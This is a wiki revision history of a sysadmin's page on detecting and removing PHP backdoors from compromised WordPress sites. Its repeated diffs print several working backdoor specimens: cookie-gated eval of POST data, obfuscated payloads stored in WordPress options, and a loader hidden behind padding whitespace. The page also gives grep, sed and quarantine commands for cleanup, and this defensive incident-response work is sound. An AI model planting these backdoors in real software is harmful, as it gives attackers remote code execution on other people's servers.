PHP Hack Fix - Revision history

Leo: Text replacement - "" to "}}"

2017-02-24T19:14:35Z

Text replacement - "</code>" to "}}"

← Older revision		Revision as of 19:14, 24 February 2017
Line 24:		Line 24:

	==== Fixing ====		==== Fixing ====
	To fix the file, uses the following sed command which will delete everything until the first {{code\|?>~~</code>~~ string.		To fix the file, uses the following sed command which will delete everything until the first {{code\|?>}} string.
	sed '1s/^.*?>//'		sed '1s/^.*?>//'

Leo: Text replacement - "`" to "{{code|"`


2017-02-24T19:13:05Z
Text replacement - "<code>" to "{{code|"

				
				
				
				
				
				← Older revision
				Revision as of 19:13, 24 February 2017
				
Line 24:
Line 24:



==== Fixing ==== ==== Fixing ====
To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string. To fix the file, uses the following sed command which will delete everything until the first {{code|?></code> string.
  sed '1s/^.*?>//'   sed '1s/^.*?>//'



Leo: Text replacement - "{{highlight|lang=bash" to "{{highlight|lang=terminal"
2017-02-24T04:16:34Z
Text replacement - "{{highlight|lang=bash" to "{{highlight|lang=terminal"

				
				
				
				
				
				← Older revision
				Revision as of 04:16, 24 February 2017
				
Line 31:
Line 31:
You can then string up the commands to mass-fix exploited files: You can then string up the commands to mass-fix exploited files:



{{highlight|lang=bash|code= {{highlight|lang=terminal|code=
grep -iRl --include \*.php 'php                                                       ' * {{!}} while read i ; do echo $i ; head -n 1 $i {{!}} grep -oH strtoupper && head -n 1 $i &&  sed '1s/^.*?>//' -i $i ; done grep -iRl --include \*.php 'php                                                       ' * {{!}} while read i ; do echo $i ; head -n 1 $i {{!}} grep -oH strtoupper && head -n 1 $i &&  sed '1s/^.*?>//' -i $i ; done
}} }}
Line 90:
Line 90:
I quarantine exploits using this method. I quarantine exploits using this method.



{{highlight|lang=bash|code= {{highlight|lang=terminal|code=
find -type f -size XXXXc -iname \*.php -exec  ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done find -type f -size XXXXc -iname \*.php -exec  ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
}} }}





68.147.137.120: /* Hack 4 */
2015-12-27T05:31:06Z
Hack 4

				
				
				
				
				
				← Older revision
				Revision as of 05:31, 27 December 2015
				
Line 64:
Line 64:
}} }}



=== Hack 5 ===
Another one liner which used cookies for commands was found inside {{code|wp-load.php}} which interestingly was modified back in 2007 (which either means the hackers changed the file timestamps, or it's a really old exploit which just recently got used).

{{highlight|lang=php|code=
$a8i=array("kp"=>"?%IXFq}*"^"HS.`+BH@","ym"=>"S;TPBQ|JOVWM#A9"^"0I1164#,:849J.W","j8"=>"J5VOX[;23IE,="^"(T%*nodVV**HX","iyc"=>"ow6{lYvRp[jOAA!LQ\$KQrcDOq7VWg}Ty"^"VOUJ]mAjG9X,%wGxeBsiDPv-@SbeRMgH","n6e"=>")!E"^"DEp");$la="0r+p8)m"^"o1d?s`(";$gki=&$$la;$a8i["g8r"]=@$gki["C:;Q"^"\$IOc"];$e9="8%X;1@2"^"]],IP#F";$e9="8%X;1@2"^"]],IP#F";$e9($a8i);$tm8=$n6e(@$gki[$kp]);$agc=$j8($g8r);$fxk=$ym("",$agc);if($tm8==$iyc)$fxk();
}}



== More Complex Hacks == == More Complex Hacks ==





Leo: /* Hack 3 */ finding and fixing.
2015-12-07T18:27:54Z
Hack 3:  finding and fixing.

				
				
				
				
				
				← Older revision
				Revision as of 18:27, 7 December 2015
				
Line 48:
Line 48:
$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); } $z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
}} }}

Wordpress has a registry-type system. The payload is stored inside the {{code|_site_transient_browser_...}} key above. The name appears to have a MD5 hash of some sort appended to it.

==== Finding ====
Searching for {{code|_site_transient_browser_}} should be sufficient to find all instances of this hack.

==== Fixing ====
Remove the exploit line. The wordpress registry value referenced in the code (eg: {{code|_site_transient_browser_06be457c3868ce83e6990f77fa29ea48}}) should also be removed to prevent other hacks referencing this key from working.



=== Hack 4 === === Hack 4 ===





Leo: restructured content
2015-12-07T18:22:53Z
restructured content

				
				
				
				
				
				← Older revision
				Revision as of 18:22, 7 December 2015
				
Line 1:
Line 1:
Typically, these PHP hacks are uploaded remotely through an already opened exploit such as an old install of WordPress. Remote exploits allow for arbitrary code execution which can do various things including adding backdoors to all .php files it encounters or by uploading a payload to the server to spam. Typically, these PHP hacks are uploaded remotely through an already opened exploit such as an old install of WordPress. Remote exploits allow for arbitrary code execution which can do various things including adding backdoors to all {{code|.php}} files it encounters or by uploading a payload to the server to spam.



This page will contain the methods used to detect and remove these scripts. This page contains some specimens that I've found and the possible method to find and fix them.



== Searching By String == 





== One Liner Hacks ==
The simplest backdoor is a one liner that is injected to either the first or last line of a {{code|.php}} file. The code may not end with a newline, so it might include the {{code|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces. The simplest backdoor is a one liner that is injected to either the first or last line of a {{code|.php}} file. The code may not end with a newline, so it might include the {{code|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.



=== Hack Specimens & Fixes === Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.
==== Hack 1 ====  
=== Hack 1 ===
This one literally has 255 spaces before the start {{code|<?php}} tag instead of the comment. This one literally has 255 spaces before the start {{code|<?php}} tag instead of the comment.



Line 15:
Line 18:
}} }}



  ==== Finding ====
===== Fix ===== 
  
The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep: The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:



  grep -iRl --include \*.php 'php                                                       ' *   grep -iRl --include \*.php 'php                                                       ' *



==== Fixing ====
To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string. To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string.
  sed '1s/^.*?>//'   sed '1s/^.*?>//'
Line 33:
Line 35:
}} }}



  === Hack 2 ===
==== Hack 2 ==== 
Here's another which was used by a wordpress spammer. Here's another which was used by a wordpress spammer.



Line 41:
Line 42:
}} }}



==== Hack 3 ==== === Hack 3 ===
Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header. Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header.



Line 48:
Line 49:
}} }}



==== Hack 4 ==== === Hack 4 ===
Another, which was injected after Hack 3. This was found near the top of the file, after the file source header. Another, which was injected after Hack 3. This was found near the top of the file, after the file source header.



Line 56:
Line 57:






== More Complex Hacks ==
More complex hacks that depend on a dedicated PHP payload might be harder to find because they have no similar pattern due to the obfuscation techniques used.



Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable. Here are some methods which worked for me in the past.



== Searching By Size == == Searching By Size ==
  Since hackers upload the *same* exploit in multiple locations, it's possible to find other exploits by size.
Since hackers upload the same exploits in multiple places, it's a good idea to keep copies of any found exploits and then search the compromised account for files of the same size. 



A backdoor which I found was 510 bytes in size. Running the following command turned up more of the same exploits. A backdoor which I found was 510 bytes in size. Running the following command turned up more of the same exploits.
Line 67:
Line 69:



A spammer I found had a size of 64680 and later 64690. A spammer I found had a size of 64680 and later 64690.

   find -type f -size 64680c -iname \*.php -exec  ls {} \;    find -type f -size 64680c -iname \*.php -exec  ls {} \;
   find -type f -size 64690c -iname \*.php -exec  ls {} \;    find -type f -size 64690c -iname \*.php -exec  ls {} \;






=== Quarantine === == Quarantine ==
I quarantine exploits using this method.
 
{{highlight|lang=bash|code= {{highlight|lang=bash|code=
find -type f -size XXXXc -iname \*.php -exec  ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done find -type f -size XXXXc -iname \*.php -exec  ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
}} }}



[[Category:Coding]] [[Category:PHP]]
[[Category:Exploits]]





Leo: added more hacks found, structuring. Needs rejigging.
2015-12-07T18:15:50Z
added more hacks found, structuring. Needs rejigging.

				
				
				
				
				
				← Older revision
				Revision as of 18:15, 7 December 2015
				
Line 7:
Line 7:
The simplest backdoor is a one liner that is injected to either the first or last line of a {{code|.php}} file. The code may not end with a newline, so it might include the {{code|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces. The simplest backdoor is a one liner that is injected to either the first or last line of a {{code|.php}} file. The code may not end with a newline, so it might include the {{code|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.



=== Hack Specimens === === Hack Specimens & Fixes ===
==== Hack 1 ====
This one literally has 255 spaces before the start {{code|<?php}} tag instead of the comment. This one literally has 255 spaces before the start {{code|<?php}} tag instead of the comment.

{{highlight|lang=php|code= {{highlight|lang=php|code=
         /* 255 spaces */         <?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php <?php      /* 255 spaces */       $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php
}} }}




===== Fix =====

The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:

 grep -iRl --include \*.php 'php                                                       ' *

To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string.
 sed '1s/^.*?>//'

Warning: The above will nuke everything until the last {{code|?>}} - If you know how to make it so it deletes everything up till the first one, update me!

You can then string up the commands to mass-fix exploited files:

{{highlight|lang=bash|code=
grep -iRl --include \*.php 'php                                                       ' * {{!}} while read i ; do echo $i ; head -n 1 $i {{!}} grep -oH strtoupper && head -n 1 $i &&  sed '1s/^.*?>//' -i $i ; done
}}


==== Hack 2 ====
Here's another which was used by a wordpress spammer. Here's another which was used by a wordpress spammer.

{{highlight|lang=php|code= {{highlight|lang=php|code=
<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php <?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
}} }}



Here's another wordpress spammer. ==== Hack 3 ====
Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header.
 
{{highlight|lang=php|code= {{highlight|lang=php|code=
$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); } $z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
}} }}



==== Hack 4 ====
Another, which was injected after Hack 3. This was found near the top of the file, after the file source header.



The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep: {{highlight|lang=php|code=
  if(md5($_COOKIE['d7c2109b4acb080a'])=="a2b408d3d572cb36947be8bcdd3af53d"){ eval(base64_decode($_POST['file'])); exit; }
   grep -iRl --include \*.php 'php                                                       ' * }}
  
To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string. 
   sed '1s/^.*?>//' 
Warning: The above will nuke everything until the last <code>?></code> - If you know how to make it so it deletes everything up till the first one, update me! 



You can then string up the commands to mass-fix exploited files: 



  grep -iRl --include \*.php 'php                                                       ' * | while read i ; do echo $i ; head -n 1 $i | grep -oH strtoupper && head -n 1 $i &&  sed '1s/^.*?>//' -i $i ; done 



Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable. Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.





== Searching By Size == == Searching By Size ==





Leo: specimens
2015-12-07T18:05:34Z
specimens

				
				
				
				
				
				← Older revision
				Revision as of 18:05, 7 December 2015
				
Line 5:
Line 5:
== Searching By String == == Searching By String ==



The simplest backdoor which gets injected to the first line of a .php file looks similar to the following. The code does not end with a newline, which means that the beginning of the original file will begin immediately after the <code>?></code>. The simplest backdoor is a one liner that is injected to either the first or last line of a {{code|.php}} file. The code may not end with a newline, so it might include the {{code|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.
 
=== Hack Specimens ===
This one literally has 255 spaces before the start {{code|<?php}} tag instead of the comment.
{{highlight|lang=php|code=
         /* 255 spaces */         <?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php
}}
 
Here's another which was used by a wordpress spammer.
{{highlight|lang=php|code=
<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
}}
 
Here's another wordpress spammer.
{{highlight|lang=php|code=
$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
}}



<syntaxhighlight lang="php"> 
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?> 
</syntaxhighlight> 



The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep: The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:
Line 41:
Line 54:



=== Quarantine === === Quarantine ===
<syntaxhighlight lang="bash"  enclose="div"> {{highlight|lang=bash|code=
find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i|sed 's/\//-/g'|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done find -type f -size XXXXc -iname \*.php -exec  ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
</syntaxhighlight> }}



[[Category:Coding]] [[Category:Coding]]





10.1.1.3: /* Quarantine */
2014-12-27T03:02:58Z
Quarantine

				
				
				
				
				
				← Older revision
				Revision as of 03:02, 27 December 2014
				
Line 42:
Line 42:
=== Quarantine === === Quarantine ===
<syntaxhighlight lang="bash"  enclose="div"> <syntaxhighlight lang="bash"  enclose="div">
find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i|sed 's/\//-/g'|sed 's/\//-/g'|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i|sed 's/\//-/g'|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
</syntaxhighlight> </syntaxhighlight>



[[Category:Coding]] [[Category:Coding]]





10.1.1.3 at 03:02, 27 December 2014
2014-12-27T03:02:38Z


				
				
				
				
				
				← Older revision
				Revision as of 03:02, 27 December 2014
				
Line 41:
Line 41:



=== Quarantine === === Quarantine ===
   find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i|sed 's/\//-/g'|sed 's/\.^C/g'` ; mv -v $i ~/abuse/username/$Name ; done <syntaxhighlight lang="bash"  enclose="div">
find -type f -size XXXXc -iname \*.php -exec  ls {} \; | while read i ; do Name=`echo $i|sed 's/\//-/g'|sed 's/\//-/g'|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
</syntaxhighlight>



[[Category:Coding]] [[Category:Coding]]

← Older revision		Revision as of 19:13, 24 February 2017
Line 24:		Line 24:

	==== Fixing ====		==== Fixing ====
	To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string.		To fix the file, uses the following sed command which will delete everything until the first {{code\|?></code> string.
	sed '1s/^.*?>//'		sed '1s/^.*?>//'

← Older revision		Revision as of 04:16, 24 February 2017
Line 31:		Line 31:
	You can then string up the commands to mass-fix exploited files:		You can then string up the commands to mass-fix exploited files:

	{{highlight\|lang=~~bash~~\|code=		{{highlight\|lang=terminal\|code=
	grep -iRl --include \.php 'php ' {{!}} while read i ; do echo $i ; head -n 1 $i {{!}} grep -oH strtoupper && head -n 1 $i && sed '1s/^.*?>//' -i $i ; done		grep -iRl --include \.php 'php ' {{!}} while read i ; do echo $i ; head -n 1 $i {{!}} grep -oH strtoupper && head -n 1 $i && sed '1s/^.*?>//' -i $i ; done
	}}		}}
Line 90:		Line 90:
	I quarantine exploits using this method.		I quarantine exploits using this method.

	{{highlight\|lang=~~bash~~\|code=		{{highlight\|lang=terminal\|code=
	find -type f -size XXXXc -iname \*.php -exec ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done		find -type f -size XXXXc -iname \*.php -exec ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
	}}		}}

← Older revision		Revision as of 05:31, 27 December 2015
Line 64:		Line 64:
	}}		}}

			=== Hack 5 ===
			Another one liner which used cookies for commands was found inside {{code\|wp-load.php}} which interestingly was modified back in 2007 (which either means the hackers changed the file timestamps, or it's a really old exploit which just recently got used).

			{{highlight\|lang=php\|code=
			$a8i=array("kp"=>"?%IXFq}"^"HS.`+BH@","ym"=>"S;TPBQ\|JOVWM#A9"^"0I1164#,:849J.W","j8"=>"J5VOX[;23IE,="^"(T%nodVV**HX","iyc"=>"ow6{lYvRp[jOAA!LQ\$KQrcDOq7VWg}Ty"^"VOUJ]mAjG9X,%wGxeBsiDPv-@SbeRMgH","n6e"=>")!E"^"DEp");$la="0r+p8)m"^"o1d?s`(";$gki=&$$la;$a8i["g8r"]=@$gki["C:;Q"^"\$IOc"];$e9="8%X;1@2"^"]],IP#F";$e9="8%X;1@2"^"]],IP#F";$e9($a8i);$tm8=$n6e(@$gki[$kp]);$agc=$j8($g8r);$fxk=$ym("",$agc);if($tm8==$iyc)$fxk();
			}}

	== More Complex Hacks ==		== More Complex Hacks ==

← Older revision		Revision as of 18:27, 7 December 2015
Line 48:		Line 48:
	$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }		$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
	}}		}}

			Wordpress has a registry-type system. The payload is stored inside the {{code\|_site_transient_browser_...}} key above. The name appears to have a MD5 hash of some sort appended to it.

			==== Finding ====
			Searching for {{code\|_site_transient_browser_}} should be sufficient to find all instances of this hack.

			==== Fixing ====
			Remove the exploit line. The wordpress registry value referenced in the code (eg: {{code\|_site_transient_browser_06be457c3868ce83e6990f77fa29ea48}}) should also be removed to prevent other hacks referencing this key from working.

	=== Hack 4 ===		=== Hack 4 ===

← Older revision		Revision as of 18:22, 7 December 2015
Line 1:		Line 1:
	Typically, these PHP hacks are uploaded remotely through an already opened exploit such as an old install of WordPress. Remote exploits allow for arbitrary code execution which can do various things including adding backdoors to all .php files it encounters or by uploading a payload to the server to spam.		Typically, these PHP hacks are uploaded remotely through an already opened exploit such as an old install of WordPress. Remote exploits allow for arbitrary code execution which can do various things including adding backdoors to all {{code\|.php}} files it encounters or by uploading a payload to the server to spam.

	This page ~~will contain~~ the ~~methods used~~ to ~~detect~~ and ~~remove these scripts~~.		This page contains some specimens that I've found and the possible method to find and fix them.

	~~== Searching By String ==~~



			== One Liner Hacks ==
	The simplest backdoor is a one liner that is injected to either the first or last line of a {{code\|.php}} file. The code may not end with a newline, so it might include the {{code\|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.		The simplest backdoor is a one liner that is injected to either the first or last line of a {{code\|.php}} file. The code may not end with a newline, so it might include the {{code\|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.

	~~=== Hack Specimens & Fixes ===~~		Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.
	==== Hack 1 ====
			=== Hack 1 ===
	This one literally has 255 spaces before the start {{code\|<?php}} tag instead of the comment.		This one literally has 255 spaces before the start {{code\|<?php}} tag instead of the comment.

Line 15:		Line 18:
	}}		}}

			==== Finding ====
	===== ~~Fix~~ =====

	The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:		The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:

	grep -iRl --include \.php 'php '		grep -iRl --include \.php 'php '

			==== Fixing ====
	To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string.		To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string.
	sed '1s/^.*?>//'		sed '1s/^.*?>//'
Line 33:		Line 35:
	}}		}}

			=== Hack 2 ===
	==== Hack 2 ====
	Here's another which was used by a wordpress spammer.		Here's another which was used by a wordpress spammer.

Line 41:		Line 42:
	}}		}}

	==== Hack 3 ====		=== Hack 3 ===
	Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header.		Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header.

Line 48:		Line 49:
	}}		}}

	==== Hack 4 ====		=== Hack 4 ===
	Another, which was injected after Hack 3. This was found near the top of the file, after the file source header.		Another, which was injected after Hack 3. This was found near the top of the file, after the file source header.

Line 56:		Line 57:


			== More Complex Hacks ==
			More complex hacks that depend on a dedicated PHP payload might be harder to find because they have no similar pattern due to the obfuscation techniques used.

	~~Because~~ the ~~script randomizes its strings and variables used, grepping for a specific string is not as reliable~~.		Here are some methods which worked for me in the past.

	== Searching By Size ==		== Searching By Size ==
			Since hackers upload the same exploit in multiple locations, it's possible to find other exploits by size.
	Since hackers upload the same ~~exploits~~ in multiple ~~places~~, it's ~~a good idea~~ to ~~keep copies of any found~~ exploits ~~and then search the compromised account for files of the same~~ size.

	A backdoor which I found was 510 bytes in size. Running the following command turned up more of the same exploits.		A backdoor which I found was 510 bytes in size. Running the following command turned up more of the same exploits.
Line 67:		Line 69:

	A spammer I found had a size of 64680 and later 64690.		A spammer I found had a size of 64680 and later 64690.

	find -type f -size 64680c -iname \*.php -exec ls {} \;		find -type f -size 64680c -iname \*.php -exec ls {} \;
	find -type f -size 64690c -iname \*.php -exec ls {} \;		find -type f -size 64690c -iname \*.php -exec ls {} \;


	=== Quarantine ===		== Quarantine ==
			I quarantine exploits using this method.

	{{highlight\|lang=bash\|code=		{{highlight\|lang=bash\|code=
	find -type f -size XXXXc -iname \*.php -exec ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done		find -type f -size XXXXc -iname \*.php -exec ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
	}}		}}

	[[Category:~~Coding~~]]		[[Category:PHP]]
			[[Category:Exploits]]

← Older revision		Revision as of 18:15, 7 December 2015
Line 7:		Line 7:
	The simplest backdoor is a one liner that is injected to either the first or last line of a {{code\|.php}} file. The code may not end with a newline, so it might include the {{code\|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.		The simplest backdoor is a one liner that is injected to either the first or last line of a {{code\|.php}} file. The code may not end with a newline, so it might include the {{code\|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.

	=== Hack Specimens ===		=== Hack Specimens & Fixes ===
			==== Hack 1 ====
	This one literally has 255 spaces before the start {{code\|<?php}} tag instead of the comment.		This one literally has 255 spaces before the start {{code\|<?php}} tag instead of the comment.

	{{highlight\|lang=php\|code=		{{highlight\|lang=php\|code=
	/* 255 spaces */ ~~<?php~~ $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php		<?php /* 255 spaces */ $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php
	}}		}}


			===== Fix =====

			The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:

			grep -iRl --include \.php 'php '

			To fix the file, uses the following sed command which will delete everything until the first <code>?></code> string.
			sed '1s/^.*?>//'

			Warning: The above will nuke everything until the last {{code\|?>}} - If you know how to make it so it deletes everything up till the first one, update me!

			You can then string up the commands to mass-fix exploited files:

			{{highlight\|lang=bash\|code=
			grep -iRl --include \.php 'php ' {{!}} while read i ; do echo $i ; head -n 1 $i {{!}} grep -oH strtoupper && head -n 1 $i && sed '1s/^.*?>//' -i $i ; done
			}}


			==== Hack 2 ====
	Here's another which was used by a wordpress spammer.		Here's another which was used by a wordpress spammer.

	{{highlight\|lang=php\|code=		{{highlight\|lang=php\|code=
	<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php		<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
	}}		}}

	Here's another wordpress spammer.		==== Hack 3 ====
			Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header.

	{{highlight\|lang=php\|code=		{{highlight\|lang=php\|code=
	$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }		$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
	}}		}}

			==== Hack 4 ====
			Another, which was injected after Hack 3. This was found near the top of the file, after the file source header.

	~~The~~ code ~~is prefixed by 255 spaces, probably to hide the exploit~~ if ~~line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:~~		{{highlight\|lang=php\|code=
			if(md5($_COOKIE['d7c2109b4acb080a'])=="a2b408d3d572cb36947be8bcdd3af53d"){ eval(base64_decode($_POST['file'])); exit; }
	~~grep -iRl --include \.php~~ '~~php~~ '		}}

	~~To fix the~~ file~~, uses the following sed command which will delete everything until the first <code>?></code> string.~~
	~~sed '1s/^.*?>//~~'
	~~Warning: The above will nuke everything until the last <code>?></code> - If you know how to make it so it deletes everything up till the first one, update me!~~

	~~You can then string up the commands to mass-fix exploited files:~~

	grep -iRl --include \.php 'php ' \| while read i ; do echo $i ; head -n 1 $i \| grep -oH strtoupper && head -n 1 $i && sed '1s/^.*?>//' -i $i ; done

	Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.		Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.



	== Searching By Size ==		== Searching By Size ==

← Older revision		Revision as of 18:05, 7 December 2015
Line 5:		Line 5:
	== Searching By String ==		== Searching By String ==

	The simplest backdoor ~~which gets~~ injected to the first line of a .php file ~~looks similar to the following~~. The code ~~does~~ not end with a newline, ~~which means that~~ the ~~beginning~~ of the ~~original file will begin immediately after~~ the <code>?></code>.		The simplest backdoor is a one liner that is injected to either the first or last line of a {{code\|.php}} file. The code may not end with a newline, so it might include the {{code\|<?php}} start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.

			=== Hack Specimens ===
			This one literally has 255 spaces before the start {{code\|<?php}} tag instead of the comment.
			{{highlight\|lang=php\|code=
			/* 255 spaces */ <?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php
			}}

			Here's another which was used by a wordpress spammer.
			{{highlight\|lang=php\|code=
			<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
			}}

			Here's another wordpress spammer.
			{{highlight\|lang=php\|code=
			$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
			}}

	~~<syntaxhighlight lang="php">~~
	<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?>
	~~</syntaxhighlight>~~

	The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:		The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:
Line 41:		Line 54:

